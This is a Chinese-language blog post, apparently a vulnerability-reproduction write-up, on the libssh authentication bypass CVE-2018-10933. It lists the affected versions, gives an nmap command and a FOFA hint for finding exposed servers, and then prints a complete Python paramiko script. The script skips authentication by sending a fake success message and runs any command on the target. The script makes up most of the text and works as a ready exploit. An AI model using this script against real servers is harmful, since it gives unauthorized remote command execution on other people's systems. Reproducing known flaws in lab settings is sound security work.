Libssh认证绕过CVE-2018-10933漏洞复现-526互联

0x00漏洞描述

libssh 0.6 及以上的版本，在服务端的代码实现中存在身份认证绕过漏洞。在向服务端认证的流程中，攻击者通过将 SSH2_MSG_USERAUTH_REQUEST 消息替换为 SSH2_MSG_USERAUTH_SUCCESS，即可在无需任何有效凭证的情况下认证成

0x01 漏洞影响版本

libssh 0.8.x - 0.8.3

libssh 0.7.x - 0.7.5

libssh 0.6.x

0x02 漏洞检测

1.nmap扫描libssh版本

nmap  -p  2222  -n -Pn   -T5  -sC -sV  1xxx

fofa

2.复现脚本

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()
        
        #return output.decode()
        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))